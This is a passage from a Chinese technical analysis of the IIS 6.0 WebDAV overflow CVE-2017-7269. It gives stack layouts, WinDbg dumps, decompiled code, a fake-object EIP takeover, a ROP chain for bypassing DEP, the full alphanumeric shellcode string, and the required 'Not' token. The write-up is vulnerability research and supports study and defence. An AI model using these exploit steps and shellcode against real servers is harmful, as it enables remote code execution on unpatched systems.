根据前面的分析,可以知道当字符串超长时是可以导致堆溢出的,但问题是堆块的基地址并不是固定的。实际上,当 CStackBuffer 使用栈作为存储空间时,也可以触发栈溢出,原理和堆溢出是一样的。

当然,这里不是通过栈溢出来执行代码,因为栈上有 cookie

.text:671255F5                 mov     large fs:0, ecx
.text:671255FC                 mov     ecx, [ebp+var_10]
.text:671255FF                 pop     ebx
.text:67125600                 call    @__security_check_cookie@4
.text:67125605                 leave
.text:67125606                 retn    8
.text:67125606 ?HrCheckIfHeader@@YGJPAVCMethUtil@@PBG@Z endp

在函数 HrCheckIfHeader 中存在两个 CStackBuffer 实例:

  char c_stack_buffer_1;            // [sp+44h] [bp-430h]@1
  unsigned int v29;                 // [sp+148h] [bp-32Ch]@9
  wchar_t *stack_buffer1;           // [sp+14Ch] [bp-328h]@9
  char c_stack_buffer_2;            // [sp+150h] [bp-324h]@7
  unsigned __int16 *stack_buffer2;  // [sp+258h] [bp-21Ch]@8

基于前面对 CStackBuffer 内存布局的分析,可以知道这里栈空间的分布为:

┌─────────────────────────┐
│            2.heap_buffer│  ebp-21C
├─────────────────────────┤
│         2.fake_heap_size│  ebp-220
├─────────────────────────┤
│CStackBuffer2.buffer[260]│  ebp-324
├─────────────────────────┤
│            1.heap_buffer│  ebp-328
├─────────────────────────┤
│         1.fake_heap_size│  ebp-32C
├─────────────────────────┤
│CStackBuffer1.buffer[260]│  ebp-430
└─────────────────────────┘

下面要重点分析的代码片段为:

res = pMethUtil->ScStoragePathFromUrl(
    buffer2.get(), buffer1.get(), &length);     // (1)
if (res == 1)
{
    if (buffer1.resize(length))                 // (2)
    {
        res = pMethUtil->ScStoragePathFromUrl(  // (3)
            buffer2.get(), buffer1.get(), &length);
    }
}

(1) HrCheckIfHeader 第一次调用 ScStoragePathFromUrl 时传递的参数分析如下(函数返回值为 1,长度设置为 0xaa):

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000082

0:006> dd 03faf800 L1
03faf800  

0:006> db 077d8eb0
077d8eb0  68 00 74 00 74 00 70 00-3a 00 2f 00 2f 00 6c 00  h.t.t.p.:././.l.
077d8ec0  6f 00 63 00 61 00 6c 00-68 00 6f 00 73 00 74 00  o.c.a.l.h.o.s.t.
077d8ed0  2f 00 61 00 61 00 61 00-61 00 61 00 61 00 61 00  /.a.a.a.a.a.a.a.
077d8ee0  68 6f 63 78 61 77 33 71-36 69 72 47 39 7a 77 4b  hocxaw3q6irG9zwK
077d8ef0  70 4f 53 75 4f 7a 68 48-63 56 54 6d 45 68 53 39  pOSuOzhHcVTmEhS9
077d8f00  6c 50 67 55 63 67 64 33-30 46 45 78 52 69 31 54  lPgUcgd30FExRi1T
077d8f10  58 4c 51 6a 41 72 31 42-35 70 50 58 64 36 47 6c  XLQjAr1B5pPXd6Gl
077d8f20  39 35 6a 54 34 50 43 54-52 77 61 50 32 32 4b 6d  95jT4PCTRwaP22Km
077d8f30  34 6c 47 32 41 62 4d 37-61 51 62 58 73 47 50 52  4lG2AbM7aQbXsGPR
077d8f40  70 36 44 75 6a 68 74 33-4a 4e 6b 78 76 49 73 4e  p6Dujht3JNkxvIsN
077d8f50  6a 4c 7a 57 71 6f 4a 58-30 32 6e 37 49 4b 4d 52  jLzWqoJX02n7IKMR
077d8f60  63 48 4c 6f 56 75 75 75-6f 66 68 76 4d 44 70 50  cHLoVuuuofhvMDpP
077d8f70  36 7a 4b 62 57 65 50 75-72 6a 6b 7a 62 77 58 76  6zKbWePurjkzbwXv
077d8f80  48 62 31 65 54 30 79 6c-4a 50 62 54 33 50 77 35  Hb1eT0ylJPbT3Pw5
077d8f90  77 6a 44 41 34 33 76 64-46 4d 54 56 6c 47 43 65  wjDA43vdFMTVlGCe
077d8fa0  32 76 78 72 69 57 38 43-72 62 30 5a 38 59 48 54  2vxriW8Crb0Z8YHT
077d8fb0  02 02 02 02 c0 12 03 68-44 6c 56 52 37 4b 6d 6c  .......hDlVR7Kml
077d8fc0  58 4f 5a 58 50 79 6a 49-4f 58 52 4a 50 41 4d 66  XOZXPyjIOXRJPAMf
077d8fd0  c0 13 03 68 34 48 31 65-43 6f 66 6e 41 74 6c 43  ...h4H1eCofnAtlC
077d8fe0  c0 13 03 68 43 53 41 6a-52 70 30 33 66 58 4c 42  ...hCSAjRp03fXLB
077d8ff0  4b 70 46 63 73 51 41 79-50 7a 6c 4a 3e 00 00 00  KpFcsQAyPzlJ>...
077d9000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

(2) 因为 ScStoragePathFromUrl 返回 0xaa,所以 buffer1.resize(0xaa) 并不会在堆上分配空间,而是直接使用栈上的 buffer

(3) 第二次调用 ScStoragePathFromUrl 时会导致栈溢出,实际结果是 CStackBuffer1.fake_heap_size 被改写为 0x02020202CStackBuffer1.heap_buffer 被改写为 0x680312c0

0:006> dds esp L3
03faf7b4  077d8eb0      $$ http://localhost/aaaaaaa....
03faf7b8  03faf804      $$ CStackBuffer1.buffer
03faf7bc  03faf800      $$ 00000412 = ((0x104 * 4) | (0x82 & 3)) | 2

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf814  c0 59 55 03 00 00 00 00-00 10 08 00 60 f8 fa 03  .YU.........`...
03faf824  fc f7 fa 03 f8 64 02 07-94 f8 fa 03 70 82 82 7c  .....d......p..|
03faf834  a0 6e 87 7c 00 00 00 00-9c 6e 87 7c 00 00 00 00  .n.|.....n.|....
03faf844  01 00 00 00 16 00 00 00-23 9f 87 7c 00 00 00 00  ........#..|....
03faf854  c4 af 7b 04 02 00 00 01-00 00 00 00 04 5d 88 8a  ..{..........]..
03faf864  6c 00 00 00 8c 1e 8f 60-82 1e 8f 60 02 00 00 00  l......`...`....
03faf874  9a 1e 8f 60 34 fb fa 03-33 00 00 00 00 00 00 00  ...`4...3.......
03faf884  8c 1e 8f 60 52 23 8f 60-22 00 00 00 00 00 00 00  ...`R#.`".......
03faf894  00 00 00 00 00 00 00 00-01 00 00 00 0c 00 00 00  ................
03faf8a4  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
03faf8b4  f6 67 ca 77 00 00 00 00-00 00 00 00 00 00 00 00  .g.w............
03faf8c4  00 00 00 00 00 00 00 00-20 f9 fa 03 4a b0 bc 77  ........ ...J..w
03faf8d4  85 05 00 00 4f f9 fa 03-5b 20 11 67 5c b0 bc 77  ....O...[ .g\..w
03faf8e4  5b 20 11 67 b0 72 bd 77-4f f9 fa 03 5b 20 11 67  [ .g.r.wO...[ .g
03faf8f4  13 00 00 00 58 00 00 00-00 00 00 00 e8 64 02 07  ....X........d..
03faf904  c0 17 bf 77 12 04 00 00-04 f8 fa 03              ...w........
                      ^^^^^^^^^^^ ~~~~~~~~~~~

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=03faf804 esi=00000001 edi=77bd8ef2
eip=67125484 esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x15e:
67125484 8bf0            mov     esi,eax

$$ 留意最后面 2 个 DWORD 的值
0:006> db ebp-430 L10C
03faf804  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
03faf814  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
03faf824  6f 00 74 00 5c 00 61 00-61 00 61 00 61 00 61 00  o.t.\.a.a.a.a.a.
03faf834  61 00 61 00 68 6f 63 78-61 77 33 71 36 69 72 47  a.a.hocxaw3q6irG
03faf844  39 7a 77 4b 70 4f 53 75-4f 7a 68 48 63 56 54 6d  9zwKpOSuOzhHcVTm
03faf854  45 68 53 39 6c 50 67 55-63 67 64 33 30 46 45 78  EhS9lPgUcgd30FEx
03faf864  52 69 31 54 58 4c 51 6a-41 72 31 42 35 70 50 58  Ri1TXLQjAr1B5pPX
03faf874  64 36 47 6c 39 35 6a 54-34 50 43 54 52 77 61 50  d6Gl95jT4PCTRwaP
03faf884  32 32 4b 6d 34 6c 47 32-41 62 4d 37 61 51 62 58  22Km4lG2AbM7aQbX
03faf894  73 47 50 52 70 36 44 75-6a 68 74 33 4a 4e 6b 78  sGPRp6Dujht3JNkx
03faf8a4  76 49 73 4e 6a 4c 7a 57-71 6f 4a 58 30 32 6e 37  vIsNjLzWqoJX02n7
03faf8b4  49 4b 4d 52 63 48 4c 6f-56 75 75 75 6f 66 68 76  IKMRcHLoVuuuofhv
03faf8c4  4d 44 70 50 36 7a 4b 62-57 65 50 75 72 6a 6b 7a  MDpP6zKbWePurjkz
03faf8d4  62 77 58 76 48 62 31 65-54 30 79 6c 4a 50 62 54  bwXvHb1eT0ylJPbT
03faf8e4  33 50 77 35 77 6a 44 41-34 33 76 64 46 4d 54 56  3Pw5wjDA43vdFMTV
03faf8f4  6c 47 43 65 32 76 78 72-69 57 38 43 72 62 30 5a  lGCe2vxriW8Crb0Z
03faf904  38 59 48 54 02 02 02 02-c0 12 03 68              8YHT.......h
                      ^^^^^^^^^^^ ~~~~~~~~~~~

3.3 填充数据

通过!address 命令可知地址 0x680312c0 位于 rsaenh 模块中,具备 PAGE_READWRITE 属性。

0:006> !address 680312c0
Failed to map Heaps (error 80004005)
Usage:                  Image
Allocation Base:        68000000
Base Address:           68030000
End Address:            68032000
Region Size:            00002000
Type:                   01000000    MEM_IMAGE
State:                  00001000    MEM_COMMIT
Protect:                00000004    PAGE_READWRITE
More info:              lmv m rsaenh
More info:              !lmi rsaenh
More info:              ln 0x680312c0

0:006> u 680312c0 L1
rsaenh!g_pfnFree+0x4:
680312c0 0000            add     byte ptr [eax],al

在解析 http://localhost/bbbbbbb...... 时,数据将被直接填充到地址 0x680312c0。此时,由于 CStackBuffer1 的长度已经 足够大ScStoragePathFromUrl 只会被调用一次。

$$ ScStoragePathFromUrl 参数
0:006> dds esp L3
03faf7b4  077dc9e0
03faf7b8  680312c0 rsaenh!g_pfnFree+0x4
03faf7bc  03faf800

0:006> dd 03faf800 L1
03faf800  00404040

0:006> p
eax=00000000 ebx=070fbfc0 ecx=0000e694 edx=680312c0 esi=00000000 edi=77bd8ef2
eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0            mov     esi,eax

$$ 填充数据到 0x680312c0
0:006> db 680312c0
680312c0  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
680312d0  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
680312e0  6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00  o.t.\.b.b.b.b.b.
680312f0  62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48  b.b.HyuaCOgookEH
68031300  46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56  F6ug3Dq8eWbZ5TaV
68031310  52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43  RiSjWQN8HYUcqIdC
68031320  72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50  rdh4XGyqk3UkHmOP
68031330  46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34  Fzq4ToCtVYooAsW4
0:006> db
68031340  68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36  harzE7IMNWHT8Lz6
68031350  72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61  r5fbCnmHH5waZMta
68031360  33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63  3AeCrRimq6dN9nSc
68031370  64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a  dkFQ0OoxSrPgSEcz
68031380  39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61  9qSOVD6oyswhVzJa
68031390  45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44  E9969l1Er4eSJXND
680313a0  44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54  Dz5lVZAbrn1fYY3T
680313b0  42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53  B1eXAYPq60wWWDaS
0:006> db
680313c0  c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76  ...hOn.hOn.hGBjv
680313d0  c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b  ...hWBtOGY4RfKBK
680313e0  64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d  dtox.`.h5QzrztGM
680313f0  59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68  YDWW...hv1on.$.h
68031400  60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68  `..h...........h
68031410  6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68  n..hnqpt4..h.).h
68031420  91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76  ...h19nfUIR0kTkv
68031430  4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79  Jray...h.n.h2why

3.4 控制 EIP

在函数 HrCheckIfHeader 返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath 中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl 这个函数。同样,解析 URL 第一部分(http://localhost/aaaaaaa....)时完成栈溢出,此时会覆盖到一个引用 CMethUtil 对象的局部变量;在解析 URL 第二部分(http://localhost/bbbbbbb....)时,因为 CMethUtil 已经伪造好,其成员 IEcb 实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix 中实现 EIP 的控制。

CPutRequest::Execute
├──HrCheckStateHeaders
│  └──HrCheckIfHeader
│     ├──CMethUtil::ScStoragePathFromUrl
│     └──CMethUtil::ScStoragePathFromUrl
│
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath
      ├──CMethUtil::ScStoragePathFromUrl
      └──CMethUtil::ScStoragePathFromUrl

(1) FGetLockHandle 分析
函数 FGetLockHandle 里面构造了一个 CParseLockTokenHeader 对象,存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath 进入下一阶段。

int __stdcall FGetLockHandle(
    struct CMethUtil *a1, wchar_t *Str, 
    unsigned __int32 a3, const unsigned __int16 *a4, 
    struct auto_ref_handle *a5)
{
  signed int v5; // eax@1
  int result; // eax@2
  CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
  union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
  int v9; // [sp+50h] [bp-4h]@1

  v7 = CParseLockTokenHeader(a1, a4);
  v9 = 0;
  v7->SetPaths(Str, 0);
  v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
  v9 = -1;
  if ( v5 >= 0 )
  {
    result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
  }
  else
  {
    result = 0;
  }
  return result;
}

(2) HrGetLockIdForPath 分析
HrGetLockIdForPathHrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。

在解析 URL 第一部分(http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如下所示。

┌─────────────────────────┐
│   v7 (FGetLockHandle)   │  CParseLockTokenHeader <────┐
├─────────────────────────┤               ↑o            │
│          ......         │               │v            │
├─────────────────────────┤               │e            │
│            2.heap_buffer│  ebp-14       │r            │
├─────────────────────────┤               │f            │
│         2.fake_heap_size│  ebp-18       │l            │
├─────────────────────────┤               │o            │
│CStackBuffer2.buffer[260]│  ebp-11C      │w            │
├─────────────────────────┤ <-------- overwrite data    │
│            1.heap_buffer│  ebp-120 -> heap (url part1)│
├─────────────────────────┤                             │
│         1.fake_heap_size│  ebp-124                    │
├─────────────────────────┤                             │
│CStackBuffer1.buffer[260]│  ebp-228                    │
├─────────────────────────┤                             │
│          ......         │                             │
├────────────┬────────────┤                             │
│ v22.LowPart│v22.HighPart│  ebp-240  (LARGE_INTEGER) ──┘
└────────────┴────────────┘

栈上的数据分布如下所示:

0:006> dds ebp-18
03fafbb8  00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc  03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0  00000168
03fafbc4  03fafc30
03fafbc8  67140bdd httpext!swscanf+0x137d  --> ret addr
03fafbcc  00000002
03fafbd0  03fafc3c
03fafbd4  6711aba9 httpext!FGetLockHandle+0x40
03fafbd8  07874c2e
03fafbdc  80000000
03fafbe0  03fafc28
03fafbe4  00000000
03fafbe8  07872fc0 --------> CParseLockTokenHeader xx
03fafbec  0788c858
03fafbf0  0788c858


$$ CMethUtil
0:006> r ecx
ecx=07872fc0

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4

分析栈的布局可以知道,在复制 260+12*4=308 字节数据后,后续的 4 字节数据将覆盖引用 CParseLockTokenHeader 对象的局部变量。需要注意的是,这里所说的 308 字节,是 URL 转变成物理路径后的前 308 字节。执行完 CMethUtil::ScStoragePathFromUrl 之后,680313c0 被填充到父级函数中引用 CParseLockTokenHeader 对象所在的局部变量。

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

0:006> dd 03fafbe8 L1
03fafbe8  680313c0

(3) ScStripAndCheckHttpPrefix 分析
在解析 URL 第二部分(http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。

CPutRequest::Execute
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
      ├──CMethUtil::ScStoragePathFromUrl        ecx = 0x680313C0
      │  └──ScStoragePathFromUrl                ecx = [ecx+0x10]=0x680313C0
      │     └──ScStripAndCheckHttpPrefix        call [[ecx]+0x24]
      └──CMethUtil::ScStoragePathFromUrl

接管控制权后,将开始执行 ROP 代码。

0:006> dd 680313C0 L1
680313c0  680313c0

0:006> dd 680313C0+10 L1
680313d0  680313c0

0:006> dd 680313C0+24 L1
680313e4  68016082

0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1            mov     esp,ecx
68016084 8b08            mov     ecx,dword ptr [eax]
68016086 8b4004          mov     eax,dword ptr [eax+4]
68016089 50              push    eax
6801608a c3              ret
6801608b cc              int     3
6801608c cc              int     3
6801608d cc              int     3

3.5 绕过 DEP

在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。

0:006> dds esp
68031400  68031460      --> return address
68031404  7ffe0300      --> SharedUserData!SystemCallStub
68031408  ffffffff      --> ProcessHandle, CURRENT_PROCESS
6803140c  680313c0      --> BaseAddress
68031410  6803046e      --> RegionSize, 0x48
68031414  00000040      --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418  68031434      --> OldProtect

TK 在 CanSecWest 2013 的演讲《DEP/ASLR bypass without ROP/JIT》[4] 中提到:

SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8
0x7ffe0300 is always point to KiFastSystemCall
Only work on x86 Windows

这里就是用了 0x7ffe0300 这个地址来定位 KiFastSystemCall(关于 KiFastSystemCall 的介绍,可以参考文档 《KiFastCallEntry() 机制分析》 [5])。

3.6 Shellcode

样本中的 Shellcode 如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA

前面分析到函数 CRequest::LpwszGetHeader 会把其转成 UNICODE 字符串,所以在内存中长这个样子:

0:006> db 68031460
68031460  55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00  U.V.Y.A.4.4.4.4.
68031470  34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00  4.4.4.4.4.4.Q.A.
68031480  54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00  T.A.X.A.Z.A.P.A.
68031490  33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00  3.Q.A.D.A.Z.A.B.
680314a0  41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00  A.R.A.L.A.Y.A.I.
680314b0  41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00  A.Q.A.I.A.Q.A.P.
680314c0  41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00  A.5.A.A.A.P.A.Z.
680314d0  31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00  1.A.I.1.A.I.A.I.

这是所谓的 Alphanumeric Shellcode [6],可以以 ASCII 或者 UNICODE 字符串形式呈现 Shellcode。

3.7 The Last Question

最后一个问题是,在 Exploit 的两个 URL 之间存在 (Not <locktoken:write1>) 这样一个字符串,这个字符串的作用是什么呢?如果删掉这个字符串,Exploit 就失效了,因为 HrCheckIfHeader 中解析 URL 的流程中断了,而解析流程得以继续的关键是 while 循环中嵌套的 for 循环对 IFITER::PszNextToken(2) 的调用。需要注意的是,这里传递的参数值是 2,而分析 IFITER::PszNextToken() 的反汇编代码,可以知道这个字符串只要满足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。

int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
  //......
  if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
  {
    *(_DWORD *)(v2 + 4) += 6;
    *(_DWORD *)(v2 + 28) = 1;       // ----> 设置值
    while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
      *(_DWORD *)(v2 + 4) += 2;
    if ( !**(_WORD **)(v2 + 4) )
      return 0;
  }
  v17 = **(_WORD **)(v2 + 4);
  if ( v17 == '<' )
  {
LABEL_64:
    v23 = '>';
    goto LABEL_65;
  }
  if ( v17 != '[' )
    return 0;
  v23 = ']';
LABEL_65:
  v20 = *(_DWORD *)(v2 + 4);
  v21 = wcschr((const wchar_t *)(v20 + 2), v23);
  *(_DWORD *)(v2 + 4) = v21;
  if ( !v21 )
    return 0;
  *(_DWORD *)(v2 + 4) = v21 + 1;
  v22 = v2 + 8;
  StringBuffer<char>::AppendAt(0, 
    2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
  StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8), 
    2, &gc_wszEmpty);
  return *(_DWORD *)v22;
}

不过 not 字符串是不能替换的,因为这里会影响程序的执行流程。从上面的代码可以看出,存在 not 字符串时会将对象偏移 28 (0x1C) 处的值设置为 1,这个值会决定父级函数中的一个跳转(goto LABEL_27)是否执行。

// v22      -> ebp-44C
// ifilter  -> ebp-468
// 0x468 + 0x1C = 0x44C

if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
        &v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
  if ( v22 )                            // ==1
    goto LABEL_27;
  goto LABEL_30;
}

4. 其他

要编写一个真实环境中通用的 Exploit,还需要考虑许多其他因素,比如 IIS 设置的物理路径等,文章 [7] 列举了一些注意事项。

此外,文章 [8] 提到了一种基于 HTTP 回传信息的方法。

当然,关于编写通用 Exploit 所需要注意的细节,也可以参考 NSA 的 Explodingcan 的参数设置。

NSA Explodingcan 参数设置

5. References

[1] https://github.com/edwardz246003/IIS_exploit
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
[6] https://github.com/SkyLined/alpha3
[7] https://xianzhi.aliyun.com/forum/read/1458.html
[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

]]>